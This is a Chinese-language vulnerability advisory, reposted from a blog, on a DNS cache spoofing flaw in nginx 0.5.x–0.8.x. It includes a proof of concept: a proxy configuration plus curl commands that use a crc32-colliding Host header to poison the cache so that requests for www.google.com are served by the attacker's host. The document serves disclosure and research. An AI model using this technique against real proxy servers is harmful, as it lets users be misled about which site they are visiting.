nginx代理DNS缓存域欺骗漏洞

受影响系统:

Igor Sysoev nginx 0.8.x
Igor Sysoev nginx 0.7.x
Igor Sysoev nginx 0.6.x
Igor Sysoev nginx 0.5.x

描述:
nginx是多平台的HTTP服务器和邮件代理服务器。

nginx对解析过的域名维护一个内部的DNS缓存,但在搜素缓存时,nginx仅检查名称的crc32是否匹配以及短名称是长名称的前缀,但没有检查名称的长度是否相等。如果nginx配置为代理缓存的话,远程攻击者就可以通过DNS投毒攻击欺骗域名,诱骗用户相信所访问的域名为合法。

< *来源:Matthew Dempsky

链接:http://marc.info/?l=nginx&m=125314374727296&w=2
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

使用以下nginx.conf:

events {
worker_connections 1024;
}

http {
resolver 4.2.2.4;
server {
listen 8080;
location / {
proxy_pass http://$http_host$request_uri;
}
}
}

然后运行curl验证缓存中毒:

$ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'

http://127.0.0.1:8080/



Ho hum, nothing to see here, move along please.

 

$ curl -H 'Host: www.google.com' http://127.0.0.1:8080/


Oops, you shouldn't be asking me for http://www.google.com/!

 

建议:

厂商补丁:

Igor Sysoev
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://nginx.net/


















本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/438834,如需转载请自行联系原作者

上一篇:基于 Trie 实现敏感词过滤


下一篇:护卫神镜像需要开放的常规端口